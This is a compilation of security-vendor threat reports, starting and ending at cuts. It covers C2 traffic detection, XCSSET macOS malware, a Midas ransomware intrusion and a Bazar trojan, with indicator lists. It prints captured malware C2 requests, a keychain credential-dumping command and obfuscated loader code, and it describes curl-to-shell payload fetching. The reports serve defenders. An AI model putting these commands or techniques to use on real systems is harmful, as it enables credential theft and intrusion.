10-06-2020 | 10-11 | | | 356277603CF3CBC777811069FC631C66874901CB | | | | | | 798D9D960B1A6DBA959831983573CE7DE2EA376F13F1E0FE7968BEECA37F0540 | | | | | File | 760260BFF15DD371734758C89C748EE4 | 90 | 10-06-2020 | 10-11 | | | 4F957A30DB5599F57777A0377119B9BD7CD40F78 | | | | | | B294F8636F7AC5318560F3B8F949C1004340923D6AAACEED93481C3BA916D407 | | | | | File | 2237DD795E50A6D4EF1BD3BAFA8C771F | 90 | 10-06-2020 | 10-11 | | | 366FF7FACA817FB6C99650ABDFBF14B8ECA11FDA | | | | | | 5B02E00797B0F396B40DBB8223D034A7AA42798A39A89A41EA70A314CEAB478E | | | | | File | FD8A05A79A3FA71D2F2D2F8DCD3894BD | 90 | 10-06-2020 | 10-11 | | | C36A26B346BD0A1ECB5ED288CFEBEBFFEFB06D0F | | | | | | 86C18925097FED036B2F63A8C50891266B6D5F0DDDE84EE57F6C4DA06E77100B | | | | | File | B75840AA5B36FE12522F785561A03521 | 90 | 10-06-2020 | 10-11 | | | 2989B2650BA134E3A2EA31108F0C9F7C61817069 | | | | | File | 256FA0AE50B4E199B631047F2FE98B58 | 90 | 10-06-2020 | 10-11 | | | BB94BA05B6DAA07443AB330815A6FC074C8D326B | | | | | File | 5C1FCE8FA3E228B8F2641BB1F7A29C3F | 90 | 10-06-2020 | 10-11 | | | 29234654F799FF6EA89FADA6AF32763C02FFF1EB | | | | | File | 1A0DFBD78D21316167F4A05F56E25E6F | 90 | 10-06-2020 | 10-11 | | | E0E3BC73E13628ED2D01184BEAB13BEE6B97676C | | | | | | B0A5775907994EEA4ADF0FAA505B28160D22507C1690CA508820E26FB4CA3BCA | | | | | File | A8ED5D85A362E3593A5C2E811EF705D1 | 90 | 10-06-2020 | 10-11 | | | 10F70FCC77E24A44601194F2AEFC2477106BBA17 | | | | | | 71FE1F1CE713E265B2C6693F83ED94A359E43E6AA60322BAEE599BA74A2F2AC0 | | | | | File | 7D1504013C7F23E592691F90E6B2B2D5 | 90 | 10-06-2020 | 10-11 | | | 8BCAD2A2EC67A4AD7501C67AE381986E4FD7E323 | | | | | | BB412455C3988A845EE04CD9F665DF285BB00DFB62AF377FF9A06D6F032E3AA1 | | | | | File | E83921068F58178919357D72F7DA4B54 | 90 | 10-06-2020 | 10-11 | | | 4A0BA17833EBE3DF630B45C6EE5175187A94A25C | | | | | File | C6BAEC0946BF6CCDE48A0413A9C49C1B | 90 | 10-06-2020 | 10-11 | | | 277410845DE23288C4AA12507CE264D88874AA63 | | | | | File | CB41E35DCFD51B7EA5E55B608A380F9F | 90 | 10-06-2020 | 10-11 | | | 323103F016F8907A4918AD0A15F0C124C68658B2 | | | | | File | D80015CFD1B5B289440B2E81F2061519 | 90 | 10-06-2020 | 10-11 | | | 9FBFF4C08B3CDD8CD47A1C4980C94115693D85E8 | | | | | File | 1F46D93BAF23DEC9D0073C807F1D3C5E | 90 | 10-06-2020 | 10-11 | | | 5379CCC7CE7BE52BED4E6EC6E7D7BA0A14A37E2F | | | | | | 728A8EA36C4DCAA030C2A8674BD4B65EB636253435C5D43E74D8A176A92F7679 | | | | | File | 5628E7821300674C1D2D197C36AE27DE | 90 | 10-06-2020 | 10-11 | | | 3B48DCB3C2C812C595531B71A686C12D3A568A5A | | | | | | 7F901D8F673D5E1FDE07676B3287AA9A24DC92FB48E7CA82A163E0B0581EE7AD | | | | | File | FCD62559C2FBD5E5834F46EFD28939AC | 90 | 10-06-2020 | 10-11 | | | 4C07EA60CAE61D92E248C47225E726B191E48426 | | | | | | B2891D26B7B66DCA32F02681A0F1F3866A2EFAE49D8B5EC6BF4CBBDF5FF35260 | | | | | File | 9FF18F7A19E06B602E19B9E0ACA3AD84 | 90 | 10-06-2020 | 10-11 | | | BCBB5BBC55B4F44397C34E9FCA2017587E69219B | | | | | File | 2B14DB199E034461E2302C90D61B0E1A | 90 | 10-06-2020 | 10-11 | | | 49131FF6A3CFCB5D95B2FA8F15D4ECB27380682A | | | | | File | FEB6A6BAC205B0BAF0BDAB6BD405110F | 90 | 10-06-2020 | 10-11 | | | 1BAAB9662C1F71E5406897804837B45F78E14682 | | | | | | AB99E91E1B0951FEABD09D049E0AC9D9412C67603415C10CBEADDE5842CA02D2 | | | | | Host | hungrrybaby.com | 87 | 09-30-2020 | 10-11 | | Host | tarhungangster.com | 87 | 09-30-2020 | 10-11 | | Host | sunofgodd.com | 87 | 09-30-2020 | 10-11 | | Host | saynoforbubble.com | 87 | 09-30-2020 | 10-11 | | Host | maybebaybe.com | 87 | 09-30-2020 | 10-11 | | Host | imagodd.com | 87 | 09-30-2020 | 10-11 | | EmailAddress | [email protected] | 96 | 09-30-2020 | 10-11 | | EmailAddress | [email protected] | 96 | 09-30-2020 | 10-11 | | EmailAddress | [email protected] | 96 | 09-30-2020 | 10-11 | ```
# Using AI to Detect Malicious C2 Traffic **By Ajaya Neupane and Stefan Achleitner** **May 24, 2021** **Category: Unit 42** **Tags: Cybercrime, next-generation firewall, NGFW, WildFire** ## Executive Summary Sophisticated malware, such as Emotet and Sality, and advanced persistent threats (APTs), such as the recent SolarStorm attack, emphasize the necessity for advanced detection methods to identify novel, unknown types of malicious network traffic. Current intrusion prevention systems (IPS) typically work based on signature matching and monitoring network traffic for known patterns in the data packets. Such static methods fall short in detecting unknown types of malware-generated network traffic, which calls for more advanced detection techniques that incorporate inspection of the overall packet structure, rather than specific static patterns. In a blog on data leakage from Android apps, Unit 42 researchers demonstrated that unknown traffic types that leak sensitive user information could be detected using machine learning techniques. Based on command and control (C2) traffic from malware, such as Sality and Emotet, this blog analyzes how deep learning models are further able to identify modified and incomplete C2 traffic packets. This analysis illustrates that the usage of machine learning techniques in IPS can discover yet unseen variants of C2 traffic and can help detect advanced attack campaigns. Palo Alto Networks Next-Generation Firewall customers are protected from such types of attacks by IPS and AppID in our Threat Prevention security subscription and with malware analysis and prevention through our WildFire security subscription. ## C2 Attacks One of the most damaging aspects of malicious network attacks is accomplished through C2. After malware infects a computer, it establishes a connection to the attacker's server -- the so-called C2 server -- to perform additional tasks that may include downloading other malicious software, data theft, or establishing remote control. In the following sections, we introduce several malicious C2 traffic types, which we use as samples to show how an advanced machine learning system can detect such traffic. The discussed malware serves as examples to illustrate the effectiveness of our machine learning AI in the detection of C2 traffic. The detection capabilities of our AI are not limited to the presented malware samples but can be applied to general C2 detection. ### Sality The Sality malware was first discovered in 2003 and became more advanced over the years due to the continuous development of new features and capabilities. Sality spreads itself by infecting and modifying executable files and copying itself to removable drives and shared folders. Once the malware infects a computer system, it attempts to open connections to remote sites, download additional malicious files, and leak data from the host machine. Although Sality has been around for a while, the continued development and addition of new features make it an effective and complex malware. The following two HTTP packet headers show C2 traffic used by Sality to connect to the remote site padrup[.]com. ``` GET /sobaka1.gif?12db3cf=98861835 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0) Host: padrup[.]com Cache-Control: no-cache Cookie: jsessionid=85b50d8fab658ecb9f79aa4de6039c87 ``` ``` GET /sobaka.aspx?24c1882=115624326 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0) Host: padrup[.]com Cache-Control: no-cache Cookie: jsessionid=a2b0f43b9876d289325c3f13a7f8f95b ``` C2 traffic from Sality communicates with various C2 servers worldwide to perform tasks such as downloading and installing additional malware or leaking sensitive data. ### Emotet Emotet malware has been known since 2014 as banking malware. Typically, Emotet is distributed with Microsoft Word documents containing embedded macros to infect vulnerable hosts. C2 traffic from Emotet malware transmits encoded or otherwise encrypted data over the HTTP protocol. ``` POST /r1s4dvgwanu1ov8qku/e6qj08nos8kh/o7rhpr2xi05tkkp/ HTTP/1.1 DNT: 0 Referer: 90.[]160[.]138[.]175/r1s4dvgwanu1ov8qku/e6qj08nos8kh/o7rhpr2xi05tkkp/ Content-Type: multipart/form-data; boundary=----------------------1BetPUScZnIzXogZ6qQcQ8 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E; InfoPath.3) Host: 90[.]160[.]138[.]175 Content-Length: 5556 Connection: Keep-Alive Cache-Control: no-cache ``` ``` POST /kl4or/ok48hg/a5msy52s4i4uuac7dm/pzudacb2/a51azs1nbhzmu5m/p0f6wimb1tcqvn0/ HTTP/1.1 DNT: 0 Referer: 184[.]66[.]18[.]83/kl4or/ok48hg/a5msy52s4i4uuac7dm/pzudacb2/a51azs1nbhzmu5m/p0f6wimb1tcqvn0/ Content-Type: multipart/form-data; boundary=---------O8dHD39IM User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E; InfoPath.3) Host: 184[.]66[.]18[.]83 Content-Length: 6916 Connection: Keep-Alive Cache-Control: no-cache ``` ## Detecting C2 Traffic The goal of an IPS is to accurately identify connections to a C2 server. Due to the dynamic nature of the internet and the fast-changing assignment of IP addresses and domain names, this is very challenging to achieve, and defenders often lag behind attackers. An approach typically used in today’s security industry is to identify C2 traffic, such as network packets from Emotet, with static signatures that match a specific pattern in the traffic. This approach has the advantage of being accurate, but it is not flexible in detecting variations or unknown types of traffic. Detecting packets is especially problematic since there are no reliable patterns in the packet that could be used in a signature. Due to these shortcomings, the application of machine learning is imperative to achieve flexible and reliable detection of C2 traffic. This is critical for detecting novel types of network-based attacks. ## C2 Detection with Deep Learning It is crucial to detect these malicious C2 traffic sessions promptly. As mentioned above, this is traditionally done through the usage of static signatures on payloads and URLs. However, these signatures are not exhaustive and cannot detect novel C2 sessions. For these reasons, we researched a deep learning model that can automatically extract the important features from a vast amount of data to detect malicious C2 sessions. Our deep learning model leverages advanced machine learning algorithms to learn the content and context from a network session and determine if it connects to a malicious C2 server. Our detection module determines the probability of the session being malicious. Based on the predetermined threshold, we can classify if a given session is malicious or not. For this blog, we tested a model trained on ~60 million HTTP session headers with ~36 million benign and ~24 million malicious sessions. This dataset was collected in 2019. The hyperparameters for training the deep learning model are computed so the false positive rate of the model remains below 0.025%. We tested this model for over four months and observed that the average false positive rate remained below 0.02% with more than 98% precision. ## Conclusion Our research on using deep learning for C2 traffic detection shows the potential and necessity to use advanced machine learning for intrusion detection and prevention. For novel attacks and zero-day vulnerabilities, it is critical to rely on systems that can identify attacks based on known traffic features and identify unknown types of malicious network traffic to detect and prevent advanced threat campaigns at an early stage. The results Unit 42 sees in various research projects directly contribute to Threat Prevention and WildFire security subscriptions to ensure the protection of our Next-Generation Firewall customers.
# Updated XCSSET Malware Targets Telegram, Other Apps **Malware** In our last update on the XCSSET campaign, we updated some of its features targeting the latest macOS 11 (Big Sur). Since then, the campaign added more features to its toolset, which we have continually monitored. We have also discovered the mechanism used to steal information from various apps, a behavior that has been present since we first discussed XCSSET. ## How XCSSET Malware Steals Information From the first version of XCSSET, we noticed that it collects some data from various apps and sends these back to its command-and-control (C&C) server. However, we did not know how the threat actor would use the data. We recently found the mechanism used to steal the data and learned that it contains valuable and sensitive information that can be used for various purposes. Take the malicious AppleScript file “telegram.applescript” as an example. As the name implies, Telegram is the target app in this case. Its main logic is compressing the folder “~/Library/Group Containers/6N38VWS5BX.ru.keepcoder.Telegram” into a .ZIP file and uploading the said file to a C&C server. To find the purpose of collecting the folder, we performed a simple test using two Mac machines: 1. Install Telegram on both machine A and B. 2. On machine A, log in with a valid Telegram account. Do nothing using Telegram on machine B. 3. Copy “~/Library/Group Containers/6N38VWS5BX.ru.keepcoder.Telegram” folder from machine A to machine B, and replace the existing folder. 4. Run Telegram on machine B. When this is done, it is already logged in with the same account used on machine A. On macOS, the Application sandbox directory ~/Library/Containers/com.xxx.xxx and ~/Library/Group Containers/com.xxx.xxx can be accessed (with READ/WRITE permissions) by common users. This differs from the practice on iOS. Not all executable files are sandboxed on macOS, which means a simple script can steal all the data stored in the sandbox directory. We recommend that application developers refrain from storing sensitive data in the sandbox directory, particularly those related to login information. ## Sensitive Data Targeted by XCSSET XCSSET malware has stolen lots of critical privacy data of these applications, with most of them stored in their sandbox directories. Here, we’ll show how it is done in Chrome. In Chrome, the stolen data includes any passwords stored by the user. To dump the data, XCSSET needs to get the safe_storage_key using the command `security find-generic-password -wa ‘Chrome’`. However, this command requires root privileges. To get around this requirement, the malware puts all the operations that need root privilege together in a single function. The user is then prompted to grant these privileges via a fake dialog box. Once it has obtained the Chrome safe_storage_key, it decrypts all the sensitive data and uploads it to the C&C server. Similar scripts can be found targeting the following applications: - Contacts - Evernote - Notes - Opera - Skype - WeChat ## New C&C Domains From April 20 to 22, 2021, some new domain names appeared, all of them resolving to the IP address 94.130.27.189, which XCSSET also used before: - atecasec.com - linebrand.xyz - mantrucks.xyz - monotal.xyz - nodeline.xyz - sidelink.xyz Similarly, the domain name below now resolves from a non-malicious IP address to 94.130.27.189: - icloudserv.com All these new domain names have an HTTPS certificate from “Let’s Encrypt,” which is valid from April 22 to July 21, 2021. From April 22, 2021, onwards, all C&C domain names resolved to 194.87.186.66. On May 1, a new domain name (irc-nbg.v001.com) was resolved to the original C&C IP address 94.130.27.189. This new domain name suggests an IRC server is now located at the said IP address, which does not appear to be currently related to XCSSET. From June 9 to 10, 2021, all existing domain names related to XCSSET C&C servers were removed. Instead, the following new domain names were added: - atecasec.info - datasomatic.ru - icloudserv.ru - lucidapps.info - relativedata.ru - revokecert.ru - safariperks.ru However, on June 24, these servers were taken offline by the attackers. Currently, we have been unable to locate the new servers of XCSSET. ## Other Behavior Changes **Bootstrap.applescript** In bootstrap.applescript, the first noteworthy change is the use of the latest C&C domains. Note that aside from the available domain names, the IP address is also part of the list. Even if all the domains get suddenly shut down in the future, the C&C server can still be reached via IP address. A new module, “canary,” is added to perform XSS injection on the Chrome Canary browser from Google, which is an experimental version of the Chrome browser. Compared to the last version, the calling for “screen_sim” is removed. **Replicator.applescript** As the first step of infecting local Xcode projects, from the last version, they changed the injected build phrase or build rule’s ID from a hardcoded ID to a randomly generated ID; however, the last six characters of the ID are still hardcoded as “AAC43A.” In the latest version, the hardcoded postfix changed to “6D902C.” Regarding the logic of the script in injecting fake build phase and build rule: Previously, it called a malicious Mach-O file located in a hidden folder in the infected Xcode project. Now, it calls the curl command to download a shell script named “a” from the C&C server and passes its contents to “sh” to execute it. This way, any new infected Xcode projects from the latest version will not contain additional malicious files. Here are the contents of the shell script file downloaded from the C&C server. It downloads the landing Mach-O component Pods from the C&C server, saves it as /tmp/exec.$$, adds an executable flag, and executes it. Same as before, the Mach-O file, “Pods,” is generated by the SHC tool. The primary logic of the shell script extracted from it is quite similar to the one used before. ## Defending Against XCSSET The changes we’ve encountered in XCSSET do not reflect a fundamental change in its behavior but do constitute refinements in its tactics. The discovery of how it can steal information from various apps highlights the degree to which the malware aggressively attempts to steal various kinds of information from affected systems. To protect systems from this type of threat, users should only download apps from official and legitimate marketplaces. Users can also consider multilayered security solutions such as Trend Micro Maximum Security, which provides comprehensive security and multidevice protection against cyberthreats. Enterprises can take advantage of Trend Micro’s Smart Protection Suites with XGen™ security, which infuses high-fidelity machine learning into a blend of threat protection techniques to eliminate security gaps across any user activity or endpoint. ## Indicators of Compromise **File Name** | **SHA256** | **Trend Micro Detection Name** --- | --- | --- bootstrap.applescript | f453e8ae426133ace544cd4bb1ab2435620a8d4d5f70b936d8f3118e22f254e8 | Trojan.macOS.XCSSET.C replicator.applescript | 7a51fd3080ee5f65c9127603683718a3fd4f3e0b13de6141824908a6d3d4b558 | Trojan.macOS.XCSSET.C Pods | bbcc8a101ae0e7fc546dab235387b0bf7461e097578fedcb25c4195bc973f895 | Trojan.macOS.XCSSET.C a | d8f14247ef18edaaae2c20dee975cd98a914b47548105cfbd30febefe2fa2a6b | Trojan.macOS.XCSSET.C **C&C Servers** - 194.87.186.66 - atecasec.info - datasomatic.ru - icloudserv.ru - lucidapps.info - relativedata.ru - revokecert.ru - safariperks.ru
# Windows Services Lay the Groundwork for a Midas Ransomware Attack **Andrew Brandt** **January 25, 2022** UPDATE: 2022-01-28: We modified a few lines in the story to clarify how ZTNA configurations could have permitted the network operator to exercise greater control over devices on their network. An attack on a technology vendor in December 2021 – using ransomware known as Midas – leveraged at least two different commercial remote access tools and an open-source Windows utility in the process. After the Sophos Rapid Response team was called in to help with analysis, we discovered indicators that the attackers had been active on the network for at least two months prior to the appearance of the ransomware on a domain controller and other computers on the network. The target uses Citrix to virtualize all employee desktops, but the organization’s network topology was flat, with the entire network accessible behind its VPN. Windows Servers, run as virtual machine hypervisors, comprised most of the target’s physical devices. Flat networks with no segmentation are a risk factor in ransomware attacks. Had a zero-trust network access (ZTNA) setup existed, it could have helped limit the attackers’ ability to laterally move and connect to resources once they obtained a foothold on a user’s computer. An example of the heavily obfuscated PowerShell scripts the attackers ran on several machines over the course of many weeks. The scripts use layers of obfuscation that self-expand when executed. The attack involved repeated iterations of the threat actors creating Windows services designed to execute, on one machine at a time, several PowerShell scripts the attackers had placed on a few of the other compromised servers, which any other machine — VM or server — could just browse to over SMB. In a ZTNA configuration, properly configured access controls might have prevented the attackers from being able to leverage one compromised machine against another, disallowing user VMs from compromising other resources. The target of the attack, who had been using another company’s endpoint security to protect their servers, never saw an alert that the attackers had entered the network. They executed commands, launched internal RDP connections, took advantage of already-installed commercial remote access software, exfiltrated data to the cloud, and moved files to and from one of the target’s domain controllers over a two-month period, culminating in a deployment of the ransomware at the beginning of December 2021. Because there was a lack of log data, it remains unknown how the attackers initially accessed the domain controller, or how they had compromised and taken control over the Administrator account on that machine. But once they had, the attackers leveraged the permissions from that account — and the openness of the network topology — to spread backdoors and, later, ransomware to machines across the network. While Midas is not as common a threat as some of the other ransomware families we more frequently encounter, the attackers seemed to follow a familiar playbook throughout the incident. They leveraged conventional Windows management tools and processes (such as PowerShell and the Deployment Image Servicing and Management tool), and commercial remote access tools (AnyDesk and TeamViewer) that would be less likely to trigger an anti-malware alert, using those tools to move laterally within the network and to exfiltrate files off the company’s network. In this incident, the target’s IT staff had previously tested both AnyDesk and TeamViewer, as well as several other remote access tools, and were no longer using them. Unfortunately, they were still installed on some of the servers, which the attackers leveraged for their own benefit. In some cases, the attackers deployed and used the open-source tool Process Hacker to identify and terminate the endpoint security products that the target was using to protect its systems. The earliest indicator of compromise took place on October 13, when logs on one of the compromised domain controllers indicate that a Remote Desktop Protocol (RDP) connection took place between a machine on the internal network of the targeted organization and the domain controller. The RDP connection was a successful login by the Administrator account, from two different machines. It’s unknown how, prior to this point, the attackers gained access to the two internal machines they used to RDP into the domain controller. The early phase of the attack took place between October 13 and November 2, after which there was no activity until three weeks later, on November 22. While it’s unusual in recent ransomware incidents to see that amount of dwell time by attackers on networks, they still can and do happen. The attackers’ use of Process Hacker was only partially successful, as some of the machines began to detect and block the use of the Mimikatz credential harvesting tool on one of the company’s servers on Thanksgiving Day, November 25th. However, the investigation discovered that the attackers appear to have been successful running Mimikatz on a different server one day prior. A forensic analysis of the compromised server revealed a file called Passwords.txt that contained some of the harvested credentials. The attackers heavily relied on customized PowerShell scripts, in some cases installing them as Windows Services to execute them. They also orchestrated parts of the attack using Visual Basic Script and Batch files, executed using the DISM.exe utility that, under normal circumstances, is used to repair Windows installations that have become corrupted or broken. During the first week the attackers were connected to the network, they clearly already had gained access to a number of internal machines within the target’s organization. They were uploading various PowerShell scripts into the TEMP directory of some of the machines they controlled, then created Windows services on other machines they could access that would call those scripts from over the network and execute the scripts hosted on those other machines. Repeated commands executed on several machines over the course of an hour set up services that, when started, sideloaded the malicious DismCore.dll. While many of the PowerShell scripts used randomized filenames, a few of the filenames gave hints as to their purpose, such as “dism_els.ps1” which the attackers executed on the server where the DISM tool was then used to install a backdoor. Twenty minutes later, the same command was executed on a second server. Another script, “adtest.ps1” may have been used to verify whether they had domain administrator privileges on the server. The attackers used oddly complex combinations of scripts to accomplish a single task. For instance, a PowerShell script would execute a Batch file, that in turn would launch a PowerShell script, that would run a command to invoke a DLL sideloading tool to inject a system process with the malicious DismCore.dll payload. We saw several instances of Visual Basic Script launch PowerShell, which then launched a batch script that invoked DISM to load DismCore.dll. The files involved had names of four, eight, or twelve random alphanumeric characters in length. Some of the PowerShell scripts used the file suffix .log instead of the default .ps1. A few used no file suffix at all. The attackers were methodical, iterating through the same process repeatedly on different machines between October 13 and 19, leaving a number of servers backdoored on the target’s network. But then the attackers suddenly stopped connecting and taking actions on the 19th, and resumed on November 2nd. On November 2nd, the attackers logged on and iterated through the service-creation/PowerShell execution process on two more desktop machines, with an indication that the attackers had used AnyDesk 13 separate times on one of the servers we found had been compromised during the earliest phase of the attack. After this behavior was observed, there was no more activity for three more weeks. After a lull in activity, the attackers resumed their work on November 22, installing services and using those services to execute PowerShell scripts running on other internal machines that had previously been compromised. The attackers only ran a single PowerShell script one time on the 22nd, then a day later installed more services on three other machines and used those services to execute PowerShell scripts. The “Services” the attackers installed simply consisted of small PowerShell scripts that would execute other scripts. Some PowerShell scripts used the normal .ps1 suffix while others used a file suffix of .log – which PowerShell executed anyway. On November 25th, logs indicated that one of the compromised domain controllers wrote out a file named Passwords.txt under the path C:\Compaq\!logs\ on its local storage, but it wasn’t until after midnight that night that the target’s antivirus software detected Mimikatz running on a different server. A number of other internal RDP connections were made between the 25th and 29th, and then the trail went cold as the attackers laid low. More than a week later, late at night of December 7 in the target’s time zone, the attackers began deploying the ransomware binary to machines on the target’s network. The file was dropped on the path C:\hp\ and its filename included the name of the target organization. The same directory was where whoever was deploying the ransomware also saved a copy of Process Hacker. The attackers then ran Process Hacker under a service they created called KProcessHacker3, and presumably used it to terminate the antivirus software that had thwarted the execution of Mimikatz several weeks earlier. We also recovered PowerShell scripting commands that the attackers used in an attempt to shut down 46 processes, and 216 services, by name. These included services like MSSQL, various backup tools, office applications, and services tied to security software from McAfee, Kaspersky, Trend Micro, and Sophos, among others. The script that terminated services and processes had several redundant listings, which indicates the attackers were adding entries in the lists by hand, and not checking for duplicates. A subset of the list of services shows all the attempts the attackers made to disable Sophos, which were thwarted by tamper protection features. A few minutes later, the attackers moved copies of two ransomware binaries, named <target>local.exe and <target>share.exe (with the target organization’s name in the filename, redacted here) to an internal server and executed it. They then iterated through this same process on several other servers on the network: installing a Windows service that was used to execute Process Hacker, then a few minutes later copying and executing the two ransomware binaries. The attackers took their time, only doing this about once an hour for the next several hours. Later that day, December 8, the target engaged with the Rapid Response team after they discovered ransom notes (and that servers weren’t doing what they were supposed to be doing). Fortunately for the target, the damage was limited only to a small number of servers. With the Rapid Response engagement, analysts installed Sophos endpoint tools onto machines across the organization, which then detected and blocked the attackers' subsequent use of DISM and Process Hacker, and the attempted deployment of additional ransomware executables to other machines on the network. The attackers involved in this Midas ransomware attack relied heavily on a process in which they installed new Windows services that were used to execute PowerShell scripts. These services had quite obvious-to-the-human-eye names that were just random jumbles of letters and numbers, but the target was not monitoring computers on its network for the creation of these services, or lateral movement of any kind between the servers. The attackers also relied heavily on both RDP and third-party remote access tools that the company did not typically use in the course of its business. We counted at least 14 different open-source or commercial remote access tools that had been previously installed and left in place on the compromised machines. Needless to say, this provided a wealth of opportunities for misuse. One of these may have been the attackers’ source of initial access to an internal computer. The bottom line advice is this: if you install remote-control tools, and you’re not actively using them, the right move is to uninstall them completely from the machine. Monitoring for unusual activity by non-malicious programs or Windows management tools should be de rigueur for IT security teams, as it’s very difficult for an endpoint security product to recognize the difference between a benign or malicious use of a legitimate tool. Application allow-listing can further restrict the ability of a threat actor to use their preferred toolset. This standard advice we’ve given for years rings true in this case, as well: The attackers would have had a much harder time if the target had used multi-factor authentication on their internal services and machines, and a network that was segmented into discrete areas with limited access between them. But the effort and planning will be worth it if you break a hacker’s heart by ruining their attack. **Detections and Guidance** Sophos will detect some malicious use of DISM as a DynamicShellcode exploit, while not triggering a false-positive detection on the benign file itself. The Process Hacker utility is detected as a potentially unwanted app (PUA) and the Midas ransomware binaries were detected as Troj/Ransom-GLY. Other components of the attack may be detected as Troj/PSInj-BI (PowerShell scripts), Troj/MSIL-SDB (the malicious dismcore.dll), Harmony Loader (PUA), or ATK/sRDI-A (the sRDI DLL sideloading tool). SophosLabs has published a partial list of Indicators of Compromise relating to this attack to the SophosLabs Github, and redacted certain details from this report and screenshots, to protect the identity of the targeted organization. SophosLabs wishes to acknowledge the assistance of Jason Jenkins of the Rapid Response team for his work on the post-attack analysis.
# New Bazar Trojan Variant is Being Spread in Recent Phishing Campaign – Part II **FortiGuard Labs Threat Research Report** **Affected platforms:** Microsoft Windows **Impacted parties:** Windows Users **Impact:** Control and collect sensitive information from victim’s device, as well as delivering other malware. **Severity level:** Critical FortiGuard Labs recently detected a suspicious email through the SPAM monitoring system that was designed to trick a victim into opening a web page to download an executable file. Additional research on this executable file found that it is a new variant of the Bazar malware. My analysis of this variant is being published in two parts. In the first part of the analysis, I explained how the Bazar loader was downloaded onto a victim’s device, how it communicates with its C2 server to obtain a Bazar file, and how that file is then injected into a newly-created “cmd.exe” process. In this second part, I will focus on the Bazar payload file that runs inside the “cmd.exe” process. You will learn what new anti-analysis techniques this Bazar uses, how it communicates with its C2 server, what sensitive data it is able to collect from the victim’s device, and how it is able to deliver other malware onto the victim’s system. ## Main() function of the Bazar Payload This variant of the Bazar payload is a 64-bit executable file written in Microsoft Visual C++ 8.0. It was compiled on Monday, Jan 18, 2021. In its Main() function, we can see that it is driven by a “Timer” set by the API SetTimer() and then captured by GetMessageA(). When a condition is matched, the working function is called once. The pseudocode of how they work together is shown in Figure 1.1, below. ### Anti-analysis Techniques I also observed three primary anti-analysis techniques being used throughout the entire Bazar execution. I will explain how each of these works. 1. **All key APIs are hidden** Bazar hides key APIs in the code and only uses them when it needs to call. A function that I call get_api() is used to dynamically get an API address with the API name hash and its module index. The API address is carried in the RAX register when get_api() returns. More than 600 APIs are obtained in this variant by using get_api(). Analyzing this API is complicated because nobody is able to read it via its name hash code. This really creates trouble for researchers during both dynamic and static analysis. The piece of ASM code shows below when it retrieves the API “TerminateProcess” with the name hash 0x9E6FA842 and module index 8. As stated earlier, the address is found in RAX when the API call returns. ``` xor ecx, ecx mov edx, 1 mov r8d, 9E6FA842h ; The hash of API "TerminateProcess". mov r9d, 8 ; An index of the module that contains "TerminateProcess". call get_api mov [rsp+698h+var_640], rax ; “TerminateProcess” is in RAX. ``` 2. **ASM Code Obfuscation** If you are curious about the code structure, the pseudocode (shown in Figure 1.1) looks so weird because Bazar uses a kind of code obfuscation technique. This is another barrier to threat researchers in clearly tracking the code. Here is an example of how the ASM code is obfuscated. The original code is below: ``` mov [rsp+40h+var_18], rdx mov rbp, [rsp+40h+var_18] cmp rbp, 4 jae Lable_1 mov rdx, [rsp+40h+var_18] movzx ebp, [rsp+rdx+40h+var_10] imul ebp, -0Bh mov ebx, ebp add ebx, 273h [...] Lable_1: lea rcx, [rsp+40h+arg_40] lea rdx, [rsp+40h+var_10] call sub_13F944B2E ``` After obfuscation, it becomes this (the original code is highlighted): ``` mov ecx, 370A6DACh Label_0: mov [rsp+40h+var_18], rdx mov rbp, [rsp+40h+var_18] cmp rbp, 4 mov ebp, 0B03F61D0h cmovb ebp, ecx jmp Label_1 [...] Label_1: cmp ebp, 0F7C9568Bh jg short Label_2 cmp ebp, 0B03F61D0h jz Label_3 cmp ebp, 0BAE74C5Ch jz Label_5 cmp ebp, 0EC1D9526h jnz short Label_1 jmp Label_4 [...] Label_2: cmp ebp, 0F7C9568Ch jz Label_6 cmp ebp, 2BA792A4h jz Label_0 cmp ebp, 370A6DACh jnz short Label_1 ``` As you can see, the obfuscated ASM code was mixed with huge amounts of trash-like code while also becoming quite sophisticated in its logic. Almost every function in Bazar has had this kind of obfuscation approach applied. 3. **All constant strings are encoded in Bazar** Another form of obfuscation affects the use of constant strings. Bazar’s constant strings are hidden in encrypted data throughout the code to perform anti-analysis. According to Figure 2.1, the encrypted data (“3C 37 4B 50 29”) was copied from the stack and decrypted to “POST” before using it. ### Communicating with the C2 Server In its working function, after Bazar does some initial work, such as setting environment variables, creating mutex objects, loading APIs, and setting global variables, it creates a thread to perform its tasks in the thread function. The thread function connects to the C2 server and sends data to it. The C2 server host strings are decrypted constant strings. They are "miraclecarwashanddetall[.]com:443" and a group of additional hosts: “caexidom[.]bazar”, “ektywyom[.]bazar”, “emliwyyw[.]bazar”, “uhymeked[.]bazar”, “ibykwyyw[.]bazar”, and “elicuhem[.]bazar". Bazar prioritized connecting to the first C2 server host. It then attempts to connect to the others if the first one does not work. 1. **Request** The traffic between Bazar and its C2 server is encrypted via SSL protocol. The following image, Figure 3.1, was taken when the first request was about to be SSL-encrypted by calling the API EncryptMessage(). As you can see, this is a GET request. The URL “/cgi-bin/req5” is a decrypted constant string, and the host is the first C2 server I mentioned above. There are also four “Cookies”: “fpzkgo”, “bcfs”, “hky” and “otxe”. Their names are random strings and only the value of “fpzkgo” is valid data. The others are random data. Let’s take a look at what the value of “fpzkgo” consists of. According to my analysis, it has two parts, the Victim-ID and a command number. The Victim-ID for my testing device is “a9aadd987308f3a5b28d5a0c552c4324”. That is an MD5 hash code of a string of information obtained from my device, such as the computer name, the volume number of the partition, and Windows installation information. The format of the report command is “/{Victim-ID}/{command number}”. The first “GET” packet’s command number is “2”. Therefore, the final command string is “/a9aadd987308f3a5b28d5a0c552c4324/2”. Bazar then encrypts the command string in a 100H buffer using a private key encryption technique that uses the RSA algorithm. Finally, Bazar base64 encodes the RSA encrypted data, which is the value of the “Cookies” item “fpzkgo”. 2. **Response** Once the C2 server receives 